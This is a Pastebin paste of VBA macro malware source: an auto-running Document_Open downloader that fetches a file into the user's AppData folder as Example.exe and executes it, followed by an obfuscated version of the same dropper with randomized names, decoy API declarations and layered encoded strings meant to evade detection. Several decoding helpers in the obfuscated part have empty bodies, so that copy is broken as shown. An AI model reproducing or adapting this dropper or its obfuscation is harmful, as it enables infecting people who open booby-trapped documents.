Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'macro original:
- Option Explicit
- Private Declare Function DispCallFunc Lib "oleaut32" ( _
- ByRef pvInstance As Any, _
- ByVal oVft As Long, _
- ByVal cc As Integer, _
- ByVal vtReturn As Integer, _
- ByVal cActuals As Long, _
- ByRef prgvt As Any, _
- ByRef prgpvarg As Any, _
- ByRef pvargResult As Variant) As Long
- Private Declare Function LoadLibrary Lib "kernel32.dll" _
- Alias "LoadLibraryW" ( _
- ByVal loLibfileName As Long) As Long
- Private Declare Function FreeLibrary Lib "kernel32" ( _
- ByVal hLibModule As Long) As Long
- Private Declare Function GetProcAddress Lib "kernel32.dll" ( _
- ByVal hModule As Long, _
- ByVal lpProcName As String) As Long
- Private Function ApiCall(LibName As String, FuncName As String, ByVal RetType As VbVarType, ParamArray Params()) As Variant
- Dim types() As Integer ' This is parameters types
- Dim list() As Long ' This is pointers to parameters
- Dim param() As Variant
- Dim pIndex As Long
- Dim ptrList As Long
- Dim ptrTypes As Long
- Dim resultCall As Long
- Dim hLib As Long
- Dim funcAddress As Long
- Const CC_STDCALL As Long = 4
- hLib = LoadLibrary(StrPtr(LibName))
- If hLib = 0 Then Err.Raise 5: Exit Function
- funcAddress = GetProcAddress(hLib, FuncName)
- If funcAddress = 0 Then Err.Raise 5: Exit Function
- If LBound(Params) <= UBound(Params) Then
- ReDim list(LBound(Params) To UBound(Params))
- ReDim types(LBound(Params) To UBound(Params))
- ReDim param(LBound(Params) To UBound(Params))
- For pIndex = LBound(Params) To UBound(Params)
- param(pIndex) = Params(pIndex)
- list(pIndex) = VarPtr(param(pIndex))
- types(pIndex) = VarType(param(pIndex))
- Next
- ptrList = VarPtr(list(LBound(list)))
- ptrTypes = VarPtr(types(LBound(types)))
- End If
- resultCall = DispCallFunc(ByVal 0, _
- funcAddress, _
- CC_STDCALL, _
- RetType, _
- UBound(Params) - LBound(Params) + 1, _
- ByVal ptrTypes, _
- ByVal ptrList, _
- ApiCall)
- FreeLibrary hLib
- If resultCall Then Err.Raise 5: Exit Function
- End Function
- Private Sub Document_Open()
- Call ApiCall("urlmon", "URLDownloadToFileW", vbLong, 0, StrPtr("url"), StrPtr(Environ$("APPDATA") & "\Example.exe"), 0, 0)
- Call ApiCall("shell32", "ShellExecuteW", vbLong, 0, StrPtr("Open"), StrPtr(Environ$("APPDATA") & "\Example.exe"), 0, 0, 1)
- End Sub
- 'MACRO OFUSCADA
- Option Explicit
- Private Declare Function aDigNCQMDRcKK Lib "version.dll" Alias "GetFileVersionInfoSizeA" (ByVal lptstrFilename As String, lpdwHandle As Long) As Long
- Private Declare Function ZhuVqUtKQLIC Lib "USER32" (ByVal hIcon As Long) As Long
- Private Declare Function pZjplxNOkmvSzdtagz Lib "USER32.DLL" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal ClassName As String, ByVal ClassNameSize As Long) As Long
- Private Declare Function cYYQcMFMrRDT Lib "USER32" (ByVal hIcon As Long) As Long
- Private Declare Function RqTyi Lib "winmm.dll" (ByVal uPeriod As Long) As Long
- Private Declare Function ndTisbbNAcyKZGYJNn Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As Long
- Private Declare Function SliFbzFBNQfACLVQtJcw Lib "USER32" (ByVal hCursor As Long) As Long
- Private Declare Function zfoonsdVdHUTknqi Lib "USER32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
- Private Declare Function DispCallFunc Lib "oleaut32" ( _
- Private Declare Function OyhjDglyIerfQsONpQo Lib "USER32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal hIcon As Long) As Long
- Private Declare Function EepjBz Lib "gdi32" (ByVal hDC As Long) As Long
- Private Declare Function PIEPhvQEOm Lib "USER32.DLL" (ByVal hWnd As Long) As Long
- Private Declare Function LsMRaPvEFDIgmtYl Lib "WINMM.DLL" Alias "mmioInstallIOProcA" (ByVal fccIOProc As Long, ByVal pIOProc As Long, ByVal dwFlags As Long) As Long
- Private Declare Function DGyQmfPxzTwBO Lib "USER32" (ByVal hWnd As Long, lpRect As Long) As Long
- Private Declare Function HhhIQeFaEdu Lib "USER32" (ByVal hCursor As Long) As Long
- ByRef pvInstance As Any, _
- ByVal PLmhhfl3V4EaScgj9Dc As Long, _
- ByVal ZBnMApGSyxi2yZev As Integer, _
- ByVal hdiMyvoKG7x183 As Integer, _
- ByVal CTjkwHBatPdAthT3 As Long, _
- ByRef d8QIQqGFY3 As Any, _
- ByRef jvNElZ2rZ4 As Any, _
- ByRef FdtdXuUTq4p8dIdrjF As Variant) As Long
- Private Declare Function BYHSZUgxMTVfCxbdJP Lib "olepro32.dll" (ByRef PicDesc As Any, ByRef RefIID As Long, ByVal fPictureOwnsHandle As Long, ByRef IPic As long) As Long
- Private Declare Function gLHHFKwCJb Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal strText As String) As Long
- Private Declare Function QGJBaDigNCQMD Lib "USER32" Alias "LoadCursorA" (ByVal hLib As Long, ByVal lngCursorID As Long) As Long
- Private Declare Function KKxxZ Lib "GDI32.DLL" (ByVal hDC As Long, ByVal nIndex As Long) As Long
- Private Declare Function VqUtKQLICUR Lib "USER32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal strText As String, ByVal TextLength As Long) As Long
- Private Declare Function jplxNOkmvSzdtagzHwcY Lib "WINMM.DLL" Alias "mixerGetLineControlsA" (ByVal hMixerObj As Long, pMixerLc As long, ByVal fdwControls As Long) As Long
- Private Declare Function LoadLibrary Lib "kernel32.dll" _
- Private Declare Function cMFMrRDTQaRqTyieSndT Lib "winmm.dll" (ByVal uPeriod As Long) As Long
- Private Declare Function bbNAcyKZGYNncZSliFbzFBNQfA Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal strText As String) As Long
- Private Declare Function VQtJcwPJzfoonsdV Lib "USER32" Alias "LoadIconA" (ByVal hLib As Long, ByVal lngIconID As Long) As Long
- Private Declare Function UTknqiGVOyhjDgl Lib "USER32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long
- Private Declare Function erfQsONpQoaeEep Lib "USER32" (ByVal IconOrCursor As Long, ByRef pICONINFO As Long) As Long
- Private Declare Function zVrPIEPhvQEOm Lib "USER32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
- Private Declare Function LsMRaPvEFDIgmtYlADGyQmfP Lib "WINMM.DLL" Alias "mmioInstallIOProcA" (ByVal fccIOProc As Long, ByVal pIOProc As Long, ByVal dwFlags As Long) As Long
- Private Declare Function TwBOLuHhhIQeF Lib "USER32" (ByVal hIcon As Long) As Long
- Alias "LoadLibraryW" ( _
- ByVal loLibfileName As Long) As Long
- Private Declare Function vGASBYHSZUgxMTVfCxb Lib "gdi32" (ByVal hMetaFile As Long) As Long
- Private Declare Function PjrgLHHFKwCJbBA Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
- Private Declare Function TLkNsqYMhYOcmVUIIj Lib "USER32" (ByVal hCursor As Long) As Long
- Private Declare Function hAgDViVTNgdzjt Lib "gdi32" (ByVal hColorSpace As Long) As Long
- Private Declare Function HZavwFdKoDk Lib "olepro32.dll" (ByRef PicDesc As Any, ByRef RefIID As Long, ByVal fPictureOwnsHandle As Long, ByRef IPic As long) As Long
- Private Declare Function RHnijhmQPQBcNeik Lib "WINMM.DLL" (ByRef phMixer As Long, ByVal uMxId As Long, ByVal dwCallback As Long, ByVal dwInstance As Long, ByVal fdwOpen As Long) As Long
- Private Declare Function FreeLibrary Lib "kernel32" ( _
- Private Declare Function eItodxofsDmlZ Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Long
- Private Declare Function IUjQiTYy Lib "gdi32" (ByVal hDC As Long) As Long
- Private Declare Function ewtPmKPM Lib "WINMM.DLL" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
- Private Declare Function qLMVg Lib "winmm.dll" (ByVal uPeriod As Long) As Long
- Private Declare Function TnGaUJpyzxCngo Lib "gdi32" (ByVal hDC As Long) As Long
- Private Declare Function euyAsR Lib "GDI32.DLL" (ByVal hDC As Long, ByVal nIndex As Long) As Long
- Private Declare Function JrtNqvJToBpcCZYzhylp Lib "WINMM.DLL" Alias "mmioInstallIOProcA" (ByVal fccIOProc As Long, ByVal pIOProc As Long, ByVal dwFlags As Long) As Long
- Private Declare Function AuMJgCbSO Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As Long
- ByVal hLibModule As Long) As Long
- Private Declare Function ZwrUQDQdlaFOPNSqx Lib "USER32" (ByVal hCursor As Long) As Long
- Private Declare Function vuKORIi Lib "WINMM.DLL" Alias "sndPlaySoundA" (ByVal Sound As Long, ByVal lngFlags As Long) As Long
- Private Declare Function aHJfHLaVES Lib "USER32" (ByVal hIcon As Long) As Long
- Private Declare Function ScoQkPnFfF Lib "gdi32" (ByVal hColorSpace As Long) As Long
- Private Declare Function dLjSdjfrHQegpMHl Lib "USER32" Alias "RegisterWindowMessageA" (ByVal LPString As String) As Long
- Private Declare Function atBrQRRQVGNUlLLbQTL Lib "USER32" (ByVal hWnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
- Private Declare Function GetProcAddress Lib "kernel32.dll" ( _
- Private Declare Function sqYMhYOcmVUIIjsEh Lib "USER32" (ByVal hWnd As Long, lpRect As Long) As Long
- Private Declare Function DViVTNdzjtzv Lib "USER32" Alias "LoadBitmapA" (ByVal hInstance As Long, ByVal lngBitmapID As Long) As Long
- Private Declare Function avwFdKoDkqJRHnijhmQP Lib "USER32" (ByVal hIcon As Long) As Long
- Private Declare Function cNeikcBeItodx Lib "winmm.dll" (ByVal uPeriod As Long) As Long
- Private Declare Function sDmlZK Lib "WINMM.DLL" (ByVal hMixer As Long) As Long
- Private Declare Function UjQiTYymkewtPmK Lib "WINMM.DLL" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
- Private Declare Function YbqLMVgbETnGaUJp Lib "USER32" Alias "RegisterWindowMessageA" (ByVal LPString As String) As Long
- ByVal hModule As Long, _
- ByVal QF9ZV9tLaV7z As String) As Long
- Private Function y4H5bl8KVW(LibName As String, FuncName As String, ByVal RetType As VbVarType, ParamArray Params()) As Variant
- Dim types() As Integer ' This is parameters types
- Dim list() As Long ' This is pointers to parameters
- Dim param() As Variant
- Dim pIndex As Long
- Dim ptrList As Long
- Dim ptrTypes As Long
- Dim resultCall As Long
- Dim hLib As Long
- Dim funcAddress As Long
- If hLib = 0 Then Err.Raise 5: Exit Function
- If funcAddress = 0 Then Err.Raise 5: Exit Function
- If LBound(Params) <= UBound(Params) Then
- ReDim list(LBound(Params) To UBound(Params))
- ReDim types(LBound(Params) To UBound(Params))
- ReDim param(LBound(Params) To UBound(Params))
- For pIndex = LBound(Params) To UBound(Params)
- Next
- End If
- resultCall = DispCallFunc(ByVal 0, _
- funcAddress, _
- CC_STDCALL, _
- RetType, _
- UBound(Params) - LBound(Params) + 1, _
- ByVal ptrTypes, _
- ByVal ptrList, _
- y4H5bl8KVW)
- If resultCall Then Err.Raise 5: Exit Function
- End Function
- Private Sub Document_Open()
- Call y4H5bl8KVW(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("ss+UEhQQFhUYGRop"),Xpr4czIw82317PX5pV("TmJMMTJ3QzNpVGdiMnhZ")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("g29pZJNTeIhmV3h8mJyT"),Xpr4czIw82317PX5pV("bEh6ZVBZRHRZNlByRURJ"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("oOE="),Xpr4czIw82317PX5pV("bEFlWDNuY204ekJuSWE4")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("sce62q7fm8Ox1bXd57Hi"),Xpr4czIw82317PX5pV("eHdZY0hSTXdHaEd5R2Y4"))))))), iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("wOz7arCcnp2hs6KjprGls6evqqusrq6usMCys7XBuLi6x7zM"),Xpr4czIw82317PX5pV("SlcxclJ3VTcyQzNFUjhO")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("o4p/qqqNe4WhkIauf6Gt"),Xpr4czIw82317PX5pV("bkJPZ2NiS0VFZURoZHFE"))))),StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("hKo="),Xpr4czIw82317PX5pV("UG1sMzlFdDBBSXAzMFZ6")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("MwNAOzZBDg5SJkgONRIU"),Xpr4czIw82317PX5pV("REVzN0ZwYmpjRTlBOUly")))))), vbLong, 0, StrPtr(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("wcHZ+bs+"),Xpr4czIw82317PX5pV("VG5YYjFHMGtZV2dQU2NO")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("xJKjtdHU08WY1MWxr564"),Xpr4czIw82317PX5pV("UlI3RmJDMnlTSENJMkZE"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("H8I="),Xpr4czIw82317PX5pV("aWY0d3E4N3g5VmFuUzlz")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("xcqU2rnbtdHgvpqzsMPV"),Xpr4czIw82317PX5pV("V2o0UVRtNE15YXF6VGpP")))))))), StrPtr(Environ$(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("n0YUvHX5+AT7+v38/gQ="),Xpr4czIw82317PX5pV("UG9XSTdVMVZvR2I5TnUx")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("1bHOztW9xMnjysPiysOp"),Xpr4czIw82317PX5pV("STg0REFGTk9keTJBeksx"))))),StrReverse(StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("uVY="),Xpr4czIw82317PX5pV("V3IxRjN6WGV2NTU0eERO")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("mJ7JtYSlxaSrzYqdoK7D"),Xpr4czIw82317PX5pV("elVrdFhkMFRHcnBKY1Yw"))))))))) & iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("/HQQ1NDbzdPS39XR19fZ1trc3fDg6+Dd"),Xpr4czIw82317PX5pV("dEd5em1uaGU4M0Rsd1lP")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("ZT1uPHJxMU1wcnF0UFhb"),Xpr4czIw82317PX5pV("SDJlUVJVcTh6Z2VyUjM1"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("0XM="),Xpr4czIw82317PX5pV("U0s0Z2pOY2wzVlhOSGNM")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("roqJvbawvqR9v6KHkp6l"),Xpr4czIw82317PX5pV("cmVxTVNrZ2dMV01RVTRS")))))))), 0, 0)
- Call y4H5bl8KVW(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("O/O4/M6nkI2Pn5GklJo="),Xpr4czIw82317PX5pV("eTBhZkxHdnRJYzRJb2Jm")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("npyXpqjNyr7Mo5XIorfG"),Xpr4czIw82317PX5pV("bHpUS1VEcDlZUlBVWGpz"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("oOE="),Xpr4czIw82317PX5pV("bEFlWDNuY204ekJuSWE4")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("sce62q7fm8Ox1bXd57Hi"),Xpr4czIw82317PX5pV("eHdZY0hSTXdHaEd5R2Y4"))))))), iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("qEQDU3amJislJycvKjctMy4sMC4xOTNBODc="),Xpr4czIw82317PX5pV("ZkVhNDVrb01hUVdiMjlx")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("jpV1naOFiaeEZ2qBqqeJ"),Xpr4czIw82317PX5pV("RndjNEhjWnN6U3RLRTJX"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("H8I="),Xpr4czIw82317PX5pV("aWY0d3E4N3g5VmFuUzlz")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("xcqU2rnbtdHgvpqzsMPV"),Xpr4czIw82317PX5pV("V2o0UVRtNE15YXF6VGpP"))))))), vbLong, 0, StrPtr(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("lTtHFYmIi4k="),Xpr4czIw82317PX5pV("c01va2FRTE9hTmhqSGUz")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("cmdJaW96VE9bdV5LaX9K"),Xpr4czIw82317PX5pV("ckh1UmJPbU5YNDg3ZUdh"))))),StrReverse(StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("uVY="),Xpr4czIw82317PX5pV("V3IxRjN6WGV2NTU0eERO")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("mJ7JtYSlxaSrzYqdoK7D"),Xpr4czIw82317PX5pV("elVrdFhkMFRHcnBKY1Yw"))))))))), StrPtr(Environ$(iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("n0YUvHX5+AT7+v38/gQ="),Xpr4czIw82317PX5pV("UG9XSTdVMVZvR2I5TnUx")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("1bHOztW9xMnjysPiysOp"),Xpr4czIw82317PX5pV("STg0REFGTk9keTJBeksx"))))),StrReverse(StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("uVY="),Xpr4czIw82317PX5pV("V3IxRjN6WGV2NTU0eERO")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("mJ7JtYSlxaSrzYqdoK7D"),Xpr4czIw82317PX5pV("elVrdFhkMFRHcnBKY1Yw"))))))))) & iIQYzON6be4y(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("/HQQ1NDbzdPS39XR19fZ1trc3fDg6+Dd"),Xpr4czIw82317PX5pV("dEd5em1uaGU4M0Rsd1lP")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("ZT1uPHJxMU1wcnF0UFhb"),Xpr4czIw82317PX5pV("SDJlUVJVcTh6Z2VyUjM1"))))),StrReverse(StrReverse(jInqOmsIEk(E4BL0xVwZk(eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("0XM="),Xpr4czIw82317PX5pV("U0s0Z2pOY2wzVlhOSGNM")),eOH3JaQ3a6jEV56h(Xpr4czIw82317PX5pV("roqJvbawvqR9v6KHkp6l"),Xpr4czIw82317PX5pV("cmVxTVNrZ2dMV01RVTRS")))))))), 0, 0, 1)
- End Sub
- Public Function iIQYzON6be4y(strInput As String, second As Integer)
- Dim first As Integer
- For first = 1 To Len(strInput)
- Next first
- End Function
- Public Function jInqOmsIEk(ByVal strData As String)
- Dim second As Long, CryptString As String, tmpChar As String
- On Local Error Resume Next
- For second = 1 To Len(strData) Step 2
- Next second
- End Function
- Public Function E4BL0xVwZk(ByVal Data As String, ByVal Password As String) As String
- On Error Resume Next
- Dim first(0 To 255) As Integer, second As Integer, third As Long, fourth() As Byte
- For second = 0 To 255
- Next second
- For second = 0 To Len(Data)
- Next second
- End Function
- Public Function eOH3JaQ3a6jEV56h(tSource As String, tKey As String) As String
- Dim iPassword As Integer
- Dim iCrypt As Integer
- Dim X As Integer
- For X = 1 To Len(tKey)
- Next X
- For X = 1 To Len(tSource)
- Do Until iCrypt > 0
- Loop
- Next X
- End Function
- Public Function Xpr4czIw82317PX5pV(sString As String) As String
- Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
- Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
- Dim lTemp As Long
- If lTemp Then Exit Function
- If InStrRev(sString, "==") Then
- ElseIf InStrRev(sString, "=") Then
- End If
- For lTemp = 0 To 255
- Select Case lTemp
- Case 65 To 90
- Case 97 To 122
- Case 48 To 57
- Case 43
- Case 47
- End Select
- Next lTemp
- For lTemp = 0 To 63
- Next lTemp
- ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
- For lChar = 0 To UBound(bIn) Step 4
- lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
- lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
- Next lChar
- If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement